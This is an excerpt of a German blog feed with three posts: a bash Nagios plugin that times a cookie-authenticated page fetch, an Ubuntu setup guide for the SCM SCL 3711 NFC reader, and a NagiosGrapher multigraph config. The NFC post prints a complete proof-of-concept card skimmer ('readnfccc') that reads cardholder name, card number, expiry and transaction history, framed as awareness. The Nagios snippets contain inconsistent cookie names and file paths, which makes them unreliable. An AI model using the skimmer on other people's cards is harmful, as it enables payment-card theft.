		<description><![CDATA[Plugins zu Entwickeln für das Monitoring-System Nagios ist mit ein kleinwenig Scripting-Erfahrung kein grosses Problem mehr... Eigentlich! Doch was wenn die Anforderungen plötzlich exotisch werden? So stand ich letzthin vor der Aufgabe die Zeit zu messen, wie lange es braucht, um eine Seite innerhalb eines per Eingabeformular geschützten Bereiches, zu erreichen. Eigentlich gut möglich via CURL - habe ich mir gedacht! Es gibt ja Optionen wie --form oder --data, doch die scheinen auf das ASP.NET und Telerik-spezifische Formular nicht anzuspringen. Also muss der Weg über ein Cookie her mit der Option --cookie.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Plugins zu Entwickeln für das Monitoring-System Nagios ist mit ein kleinwenig Scripting-Erfahrung kein grosses Problem mehr, wenn man weiss, wo man was ablegen soll. An folgendem Beispiel möchte ich die 3 einfachen Schritte festhalten. So stand ich letzthin vor der Aufgabe die Zeit zu messen, wie lange es braucht, um eine Seite innerhalb eines per Eingabeformular geschützten Bereiches, zu erreichen. Eigentlich gut möglich via CURL &#8211; habe ich mir gedacht! Es gibt ja Optionen wie &#8211;form oder &#8211;data, doch die scheinen auf das ASP.NET und Telerik-spezifische Formular nicht anzuspringen. Also muss der Weg über ein Cookie her mit der Option &#8211;cookie.</p>
<p>Doch wie sieht das Plugin nun aus?`</p>
<p>Von Aussen soll dem Plugin ein Cookie, eine URL und die Zeitgrenzen für eine Warnung und einen Error zum abfragen übergeben werden. Wer Scripten kann weiss natürlich das dazu die Variablen $1 &#8211; $4 genutzt werden. So kommen wir mal zu einer kleinen Überprüfung und der Übergabe an CURL:</p>
<pre class="brush: bash; title: ; notranslate">
if [ $# -lt 4 ]; then
        echo &quot;Please use check_site COOKIE URL WARNING ERROR&quot;
        exit 2
fi

warning=$(($3*1000))
error=$(($4*1000))

curl --cookie &quot;ATUH=$1&quot; &quot;$2&quot; -s &gt; /tmp/store.tmp
</pre>
<p>Doch jetzt soll ja auch noch die Zeit gemessen werden. Also speichern wir vor und nach dem Abrufen der Seite jeweils einen Timestamp:</p>
<pre class="brush: bash; title: ; notranslate">
first=`echo $(($(date +%s%N)/1000000))`
warning=$(($3*1000))
error=$(($4*1000))

curl --cookie &quot;.AUTH=$1&quot; &quot;$2&quot; -s &gt; /tmp/store.tmp

last=`echo $(($(date +%s%N)/1000000))`
need=$(($last-$first))
</pre>
<p>Und damit hat man schon fast die ganze Arbeit gemacht. Nun noch ein bisschen querchecken und die passenden Ergebnisse ausgeben:</p>
<pre class="brush: bash; title: ; notranslate">
if [ $need -gt $error  ]; then
        echo &quot;needed `bc -l &lt;&lt;&lt; &quot;scale=3; $need/1000&quot;` seconds for a response&quot;
        exit 2
fi

if [ $need -gt $warning  ]; then
        echo &quot;needed `bc -l &lt;&lt;&lt; &quot;scale=3; $need/1000&quot;` seconds for a response&quot;
        exit 1
fi

echo &quot;needed `bc -l &lt;&lt;&lt; &quot;scale=3; $need/1000&quot;` seconds for a response&quot;
exit 0
</pre>
<p><span id="more-4241"></span></p>
<p>Wer auch weiss, was im Report drin sein sollte und das auf ein bestimmtes Keyword prüfen möchte, um sicher zu gehen, der kann noch folgendes Schnipsel einfügen, natürlich vor allen anderen Überprüfungen:</p>
<pre class="brush: bash; title: ; notranslate">
if [ `cat /tmp/$id |grep KEYWORD |wc -l` -lt 1  ]; then
        echo &quot;Unknown Error&quot;
        exit 2
fi
</pre>
<p>Nun wenn man das Plugin im Ordner libexec abgelegt und ausführbar gemacht hat, kann man einen Eintrag in der Datei commands.cfg anlegen:</p>
<pre class="brush: bash; title: ; notranslate">
#check response time for a response report
define command {
        command_name check_site
        command_line $USER1$/check_site $ARG1$
}
</pre>
<p>Und als letzer Schritt, ganz wie man es bereits kennt, die Einträge in der hosts.cfg anlegen.</p>
<div id="socialshareprivacy_dd8382cd559860530cd8c9256a3e1623"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/02/eigene-nagios-plugins-am-beispiel-curl/'
				$(document).ready(function(){
					$('#socialshareprivacy_dd8382cd559860530cd8c9256a3e1623').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/02/eigene-nagios-plugins-am-beispiel-curl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kontaktloses Bezahlen vs SCM SCL 3711</title>
		<link>http://blog.encodingit.ch/2013/01/kontaktloses-bezahlen-vs-scm-scl-3711/</link>
		<comments>http://blog.encodingit.ch/2013/01/kontaktloses-bezahlen-vs-scm-scl-3711/#comments</comments>
		<pubDate>Wed, 30 Jan 2013 10:32:56 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[NFC]]></category>
		<category><![CDATA[Planet]]></category>
		<category><![CDATA[RFID]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4184</guid>
		<description><![CDATA[Mann, mann, mann! Was für ein Kampf... Gestern hatte ich endlich meinen SCM SCL 3711, ein NFC Leser für die Frequenzen von Kreditkarten, im Briefkasten. Und wer jetzt bereits wieder böses denkt, nein ich klaue keine fremden Daten damit - alles nur zu Testzwecken.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Mann, mann, mann! Was für ein Kampf&#8230; Gestern hatte ich endlich meinen SCM SCL 3711, ein NFC Leser für die Frequenzen von Kreditkarten für gerade mal 40.- USD, im Briefkasten. Und wer jetzt bereits wieder böses denkt, nein ich klaue keine fremden Daten damit &#8211; alles nur zu Testzwecken. Und wer keine Ahnung hat, was NFC, RFID oder kontaktloses Bezahlen sein soll, der schaut sich zuerst mal das Video am Ende des Beitrages an!</p>
<p>Die Installation unter Ubuntu war alles andere als einfach! Begonnen hat alles mit der Installation von libnfc in der Version 1.6.0 R1, welches irgendwie einfach nicht so wollte wie ich. Eigentlich gibt es ja <a href="http://www.libnfc.org/documentation/installation."  target="_blank" rel="nofollow">eine schöne Anleitung</a> was man tun muss, doch leider reichen die darin beschriebenen 5 Schritte bei weitem nicht aus.<br />
Zuerst muss man mal die passenden Vorbedingungen schaffen:</p>
<pre class="brush: bash; title: ; notranslate">
sudo apt-get install libusb-dev libpcsclite-dev
sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd
</pre>
<p>Weiter geht&#8217;s dann, indem man sich die Source von libnfc von Sourceforge herunterlädt:</p>
<pre class="brush: bash; title: ; notranslate">
wget https://libnfc.googlecode.com/files/libnfc-1.6.0-rc1.tar.gz
tar -xvzf libnfc-*
</pre>
<p>Und aus dem ganzen ein Debian-Paket macht:</p>
<pre class="brush: bash; title: ; notranslate">
cd libnfc-1.6.0-rc1
svn checkout http://libnfc.googlecode.com/svn/tags/libnfc-1.6.0-rc1/debian
dpkg-buildpackage -b -us -uc
</pre>
<p>Und hier kamen auch bereits die ersten Probleme. Wie es aussieht, braucht meine frische Ubuntu-Installation noch mehr Vorbereitung:</p>
<pre class="brush: bash; title: ; notranslate">
sudo apt-get install dh-autoreconf libtool 
</pre>
<p>Nun dpkg-buildpackage nochmals starten und schon kommt man ein Stück weiter, zum nächsten Error. Leider sagt dieser nicht wirklich viel aus, doch lässt sich denkbar einfach lösen, wenn man denn weiss wie. Einfach dpkg-buildpackage gleich nocheinmal starten und diesmal läuft alles fehlerfrei durch. Juhee!<br />
Nun können die erstellten Pakete auch sogleich installiert werden:</p>
<pre class="brush: bash; title: ; notranslate">
sudo dpkg -i ../libnfc*.deb
</pre>
<p>Damit ist die Installation abgeschlossen und der Dongle kann mit nfc-list getestet werden &#8211; dachte ich! Doch interessanterweise erhalte ich immer die Fehlermeldung, dass mein NFC Leser nicht erkannt werden konnte:</p>
<pre class="brush: bash; title: ; notranslate">
No NFC device found.
</pre>
<p><span id="more-4184"></span></p>
<p>Und das obwohl der Dongle problemlos erkannt wird:</p>
<pre class="brush: bash; title: ; notranslate">
Bus 002 Device 005: ID 04e6:5591 SCM Microsystems, Inc.
</pre>
<p>Nach ein fast einer Nacht der Suche lag das Problem auf der Hand: Der Dongle sollte eigentlich direkt von libusb angesprochen werden können, aber wie es scheint, eilt PC/SC dem jeweils zuvor und blockiert den Zugriff somit. Bestätigt hat das auch ein Blick in lsmod, welcher die Module pn533 und nfc als geladen aufwies. Also habe ich zuerst versucht, mich irgendwie PC/SC zu entledigen, doch scheinbar wollte es nicht ausreichen, nur den Deamon zu stoppen, denn nfc-list aktiviert diesen jedesmal wieder:</p>
<pre class="brush: bash; title: ; notranslate">
/etc/init.d/pcscd stop
</pre>
<p>Also musste ich mit härteren Mittel ans Werk. Zuerst werden in der Datei /etc/modprobe.d/blacklist-libnfc.conf die Module nfc und pn533 blockiert:</p>
<pre class="brush: bash; title: ; notranslate">
blacklist pn533
blacklist nfc
</pre>
<p>Danach muss der Dongle nur noch ausgesteckt und die Module entladen werden:</p>
<pre class="brush: bash; title: ; notranslate">
sudo modprobe -r pn533 nfc
</pre>
<p>Schon kann man wieder einstecken und siehe da, nfc-list erkennt mein Dongle plötzlich problemlos:</p>
<pre class="brush: bash; title: ; notranslate">
trace	libnfc.general	&quot;SCM Micro / SCL3711-NFC&amp;RW - PN533 v2.7 (0x07)&quot; (pn53x_usb:002:006) has been claimed.
</pre>
<p>Damit ist der Leser mal soweit einsatzbereit und ansprechbar!</p>
<p>Also kommt der nächste Schritt, denn irgendwie muss der Output des Lesers ja in les- und verwertbare Daten umgewandelt werden. Dazu hat sich <a href="http://2012.hackitoergosum.org/blog/wp-content/uploads/2012/04/HES-2012-rlifchitz-contactless-payments-insecurity.pdf"  target="_blank" rel="nofollow">ein Franzose</a> bereits die Mühe gemacht und seine Lösung an der Shakacon IT Conference vorgestellt:</p>
<p><iframe width="580" height="326" src="https://www.youtube.com/embed/VWIzW0rRw_s?rel=0" frameborder="0" allowfullscreen>An dieser Stelle ist ein Video eingebettet. Bitte besuche die Seite, um dies zu sehen!</iframe></p>
<p>Also habe ich doch gleich mal sein Script ausprobiert, doch leider ohne Erfolg, da sich seit der Erstellung zur Zeit von libnfc 1.4 und heute mit libnfc 1.6 bereits einiges grundlegend geändert hat. Doch auf der Googlecode-Seite gab es bereis der eine oder andere Patch für das Script, welche nur noch integriert werden mussten, wodurch am Schluss folgendes Script zum Vorschein kommt:</p>
<pre class="brush: cpp; title: ; notranslate">
/*

readnfccc - by Renaud Lifchitz (renaud.lifchitz@bt.com)
License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)

* Introduction:
&quot;Quick and dirty&quot; proof-of-concept
Open source tool developped and showed for Hackito Ergo Sum 2012 - &quot;Hacking the NFC credit cards for fun and debit <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> &quot;
Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...) 

* Requirements:
libnfc (&gt;= 1.4.2) and a suitable NFC reader (http://www.libnfc.org/documentation/hardware/compatibility)

* Compilation: 
$ gcc readnfccc.c -lnfc -o readnfccc

*/

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;nfc/nfc.h&gt;

// Choose whether to mask the PAN or not
#define MASKED 0

#define MAX_FRAME_LEN 300
 
void show(size_t recvlg, uint8_t *recv) {
 	int i;
 	printf(&quot;&lt; &quot;);
 	for(i=0;i&lt;(int) recvlg;i++) {
			printf(&quot;%02x &quot;,(unsigned int) recv[i]);
        }
        printf(&quot;\n&quot;);
}

int main(int argc, char **argv) {
 	nfc_device* pnd;
 
	uint8_t abtRx[MAX_FRAME_LEN];
	uint8_t abtTx[MAX_FRAME_LEN];
 	size_t szRx = sizeof(abtRx);
 	size_t szTx;

	uint8_t START_14443A[] = {0x4A, 0x01, 0x00};
	uint8_t SELECT_APP[] = {0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x42,0x10,0x10,0x00};
	uint8_t READ_RECORD_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x02, 0x0C, 0x00, 0x00};
	uint8_t READ_RECORD_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x14, 0x00, 0x00};
	uint8_t READ_PAYLOG_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x8C, 0x00, 0x00};
	uint8_t READ_PAYLOG_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x5C, 0x00, 0x00};
 
 	unsigned char *res, output[50], c, amount[10],msg[100];
 	unsigned int i, j, expiry;
        nfc_init(NULL);
		
		pnd = nfc_open(NULL, NULL);
        if (pnd == NULL) {
                printf(&quot;Unable to connect to NFC device.\n&quot;);
                return(1);
        }
        printf(&quot;Connected to NFC reader: %s\n&quot;, nfc_device_get_name(pnd));
        nfc_initiator_init(pnd);

        while(1) {

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, START_14443A, sizeof(START_14443A), abtRx, &amp;szRx, NULL)) {
                                nfc_perror(pnd, &quot;START_14443A&quot;);
                                return(1);
                }
                //show(szRx, abtRx);

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, SELECT_APP, sizeof(SELECT_APP), abtRx, &amp;szRx, NULL)) {
                                nfc_perror(pnd, &quot;SELECT_APP&quot;);
                                return(1);
                }
                //show(szRx, abtRx);

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, READ_RECORD_VISA, sizeof(READ_RECORD_VISA), abtRx, &amp;szRx, NULL)) {
                                nfc_perror(pnd, &quot;READ_RECORD&quot;);
                                return(1);
                }
                //show(szRx, abtRx);

                /* Look for cardholder name */
                res = abtRx;
                for(i=0;i&lt;(unsigned int) szRx-1;i++) {
                                if(*res==0x5f&amp;&amp;*(res+1)==0x20) {
                                        strncpy(output, res+3, (int) *(res+2));
                                        output[(int) *(res+2)]=0;
                                        printf(&quot;Cardholder name: %s\n&quot;,output);
                                        break;                  
                                }
                                res++;
                }

                /* Look for PAN &amp; Expiry date */
                res = abtRx;
                for(i=0;i&lt;(unsigned int) szRx-1;i++) {
                                if(*res==0x4d&amp;&amp;*(res+1)==0x57) {
                                        strncpy(output, res+3, 13);
                                        output[11]=0;
                                        printf(&quot;PAN:&quot;);
                                        
                                        for(j=0;j&lt;8;j++) {
                                                if(j%2==0) printf(&quot; &quot;);
                                                c=output[j];
                                                if(MASKED &amp; (j&gt;=2) &amp; (j&lt;=5)) {
                                                        printf(&quot;**&quot;);
                                                }
                                                else {
                                                        printf(&quot;%02x&quot;,c&amp;0xff);
                                                }
                                        }
                                        printf(&quot;\n&quot;);
                                        expiry = (output[10]+(output[9]&lt;&lt;8)+(output[8]&lt;&lt;16))&gt;&gt;4;
                                        printf(&quot;Expiration date: %02x/20%02x\n\n&quot;,(expiry&amp;0xff),((expiry&gt;&gt;8)&amp;0xff));
                                        break;                  
                                }
                                res++;
                }

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, READ_RECORD_MC, sizeof(READ_RECORD_MC), abtRx, &amp;szRx, NULL)) {
                                nfc_perror(pnd, &quot;READ_RECORD&quot;);
                                return(1);
                }
                //show(szRx, abtRx);

                /* Look for cardholder name */
                res = abtRx;
                for(i=0;i&lt;(unsigned int) szRx-1;i++) {
                                if(*res==0x5f&amp;&amp;*(res+1)==0x20) {
                                        strncpy(output, res+3, (int) *(res+2));
                                        output[(int) *(res+2)]=0;
                                        printf(&quot;Cardholder name: %s\n&quot;,output);
                                        break;                  
                                }
                                res++;
                }

                /* Look for PAN &amp; Expiry date */
                res = abtRx;
                for(i=0;i&lt;(unsigned int) szRx-1;i++) {
                                if(*res==0x9c&amp;&amp;*(res+1)==0x57) {
                                        strncpy(output, res+3, 13);
                                        output[11]=0;
                                        printf(&quot;PAN:&quot;);
                                        
                                        for(j=0;j&lt;8;j++) {
                                                if(j%2==0) printf(&quot; &quot;);
                                                c=output[j];
                                                if(MASKED &amp; (j&gt;=2) &amp; (j&lt;=5)) {
                                                        printf(&quot;**&quot;);
                                                }
                                                else {
                                                        printf(&quot;%02x&quot;,c&amp;0xff);
                                                }
                                        }
                                        printf(&quot;\n&quot;);
                                        expiry = (output[10]+(output[9]&lt;&lt;8)+(output[8]&lt;&lt;16))&gt;&gt;4;
                                        printf(&quot;Expiration date: %02x/20%02x\n\n&quot;,(expiry&amp;0xff),((expiry&gt;&gt;8)&amp;0xff));
                                        break;                  
                                }
                                res++;
                }


                for(i=1;i&lt;=20;i++) {
                        READ_PAYLOG_VISA[4] = i;
                        szRx = sizeof(abtRx);
                        if (!pn53x_transceive(pnd, READ_PAYLOG_VISA, sizeof(READ_PAYLOG_VISA), abtRx, &amp;szRx, NULL)) {
                                        nfc_perror(pnd, &quot;READ_RECORD&quot;);
                                        return(1);
                        }
                        if(szRx==18) { // Non-empty transaction
                                //show(szRx, abtRx);
                                res = abtRx;

                                /* Look for date */
                                sprintf(msg,&quot;%02x/%02x/20%02x&quot;,res[14],res[13],res[12]);

                                /* Look for transaction type */
                                if(res[15]==0) {
                                        sprintf(msg,&quot;%s %s&quot;,msg,&quot;Payment&quot;);
                                }
                                else if(res[15]==1) {
                                        sprintf(msg,&quot;%s %s&quot;,msg,&quot;Withdrawal&quot;);
                                }
                                
                                /* Look for amount*/
                                sprintf(amount,&quot;%02x%02x%02x&quot;,res[3],res[4],res[5]);
                                sprintf(msg,&quot;%s\t%d,%02xÄ&quot;,msg,atoi(amount),res[6]);

                                printf(&quot;%s\n&quot;,msg);
                        }
                }

                for(i=1;i&lt;=20;i++) {
                        READ_PAYLOG_MC[4] = i;
                        szRx = sizeof(abtRx);
                        if (!pn53x_transceive(pnd, READ_PAYLOG_MC, sizeof(READ_PAYLOG_MC), abtRx, &amp;szRx, NULL)) {
                                        nfc_perror(pnd, &quot;READ_RECORD&quot;);
                                        return(1);
                        }
                        if(szRx==18) { // Non-empty transaction
                                //show(szRx, abtRx);
                                res = abtRx;

                                /* Look for date */
                                sprintf(msg,&quot;%02x/%02x/20%02x&quot;,res[14],res[13],res[12]);

                                /* Look for transaction type */
                                if(res[15]==0) {
                                        sprintf(msg,&quot;%s %s&quot;,msg,&quot;Payment&quot;);
                                }
                                else if(res[15]==1) {
                                        sprintf(msg,&quot;%s %s&quot;,msg,&quot;Withdrawal&quot;);
                                }
                                
                                /* Look for amount*/
                                sprintf(amount,&quot;%02x%02x%02x&quot;,res[3],res[4],res[5]);
                                sprintf(msg,&quot;%s\t%d,%02xÄ&quot;,msg,atoi(amount),res[6]);

                                printf(&quot;%s\n&quot;,msg);
                        }
                }               

                printf(&quot;-------------------------\n&quot;);
        }

        nfc_close(pnd);        
		nfc_exit(NULL);

        return(0);
}
</pre>
<p>Das ganze muss nur noch kompiliert werden:</p>
<pre class="brush: bash; title: ; notranslate">
gcc readnfccc.c -lnfc -o readnfccc
</pre>
<p>Und kann auch sogleich verwendet werden&#8230; Erschreckend, dass es so einfach sein kann, um beliebige Kreditkartendaten auszulesen, ohne dass das Opfer etwas davon merkt. Und wer ein Smartphone mit NFC besitzt, der kann das ganze sogar ohne weitere Aufwände (siehe ab Minute 07:00):</p>
<p><iframe src='http://www.srf.ch/player/tv/einstein-vom-17-01-2013/videoembed/einstein-vom-17-01-2013?id=f810f072-06cf-4d44-9621-4134c75fa3af&#038;mode=embed&#038;width=580&#038;height=326' width='580' height='326' frameborder='0' name='Einstein vom 17.01.2013'>An dieser Stelle ist ein Video eingebettet. Bitte besuche die Seite, um dies zu sehen!</iframe></p>
<p>Doch wahrscheinlich muss das Thema erst mal in der breiten Öffentlichkeit breitgetreten werden, bis Visa, Mastercard und Co die Kreditkartendaten endlich verschlüsselt auf der Karte ablegen! Happy Hacking! </p>
<div id="socialshareprivacy_4150876e8b881635d926ea1842d3e1d9"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/01/kontaktloses-bezahlen-vs-scm-scl-3711/'
				$(document).ready(function(){
					$('#socialshareprivacy_4150876e8b881635d926ea1842d3e1d9').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/01/kontaktloses-bezahlen-vs-scm-scl-3711/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Multigraphen mit Nagiosgrapher</title>
		<link>http://blog.encodingit.ch/2013/01/multigraphen-mit-nagiosgrapher/</link>
		<comments>http://blog.encodingit.ch/2013/01/multigraphen-mit-nagiosgrapher/#comments</comments>
		<pubDate>Wed, 23 Jan 2013 08:43:25 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Nagios]]></category>
		<category><![CDATA[Multigraph]]></category>
		<category><![CDATA[NagiosGrapher]]></category>
		<category><![CDATA[Planet]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4160</guid>
		<description><![CDATA[Anstelle, dass jeder Server seine Graphen auf einem eigenen Bild führt, kann man auch mehrere zu so genannten Multigraphen zusammenfassen. Dabei sollte man aber vorsichtig sein, was man wie zusammenfasst, denn die Graphen werden sehr schnell schön farbig, doch genauso schnell auch komplex und unübersichtlich.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Anstelle, dass jeder Server seine Graphen auf einem eigenen Bild führt, kann man auch mehrere zu so genannten Multigraphen zusammenfassen. Dabei sollte man aber vorsichtig sein, was man wie zusammenfasst, denn die Graphen werden sehr schnell schön farbig, doch genauso schnell auch komplex und unübersichtlich. So zum Beispiel, wenn man versucht die CPU-Auslastung oder ICMP-Antwortzeiten zusammenzufassen:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2013/01/multigraphen_allcpuload_3weekly.png"  rel="lightbox[4160]"><img src="http://blog.encodingit.ch/wp-content/uploads/2013/01/multigraphen_allcpuload_3weekly-300x134.png" alt="multigraphen_allcpuload_3weekly" width="300" height="134" class="alignnone size-medium wp-image-4161" /></a> <a href="http://blog.encodingit.ch/wp-content/uploads/2013/01/multigraphen_allpingrta_3weekly.png"  rel="lightbox[4160]"><img src="http://blog.encodingit.ch/wp-content/uploads/2013/01/multigraphen_allpingrta_3weekly-300x129.png" alt="multigraphen_allpingrta_3weekly" width="300" height="129" class="alignnone size-medium wp-image-4162" /></a></p>
<p>Was aber sehr komplex und kompliziert aussieht, ist ziemlich einfach, da es sich ja nur um ein Zusammenfassen von bereits bestehenden Graphen handelt. Dafür wird eine neue Datei multigraph.ncfg im Konfigurationsverzeichnis unter /usr/local/nagios/etc/ngraph.d angelegt. Der Inhalt variiert, je nachdem, was du zusammenfassen möchtest. Für das Beispiel mit dem Ping muss folgendes rein:</p>
<pre class="brush: bash; title: ; notranslate">
define nmgraph{
       host_name                Multigraphen
       service_name             All Ping RTA
       hosts                    .*
       services                 PING
       graph_values             RTA
       graph_type               LINE1
       order                    reverse
       colors                   FF0000, FF009A, 9100FF, 0D00FF, 009EFF, 00DEFF, 00FF8D, 429700, FFFF00, FFB300, FF8400, FFABAB, 970000, 000000, 777777
}
</pre>
<p><span id="more-4160"></span></p>
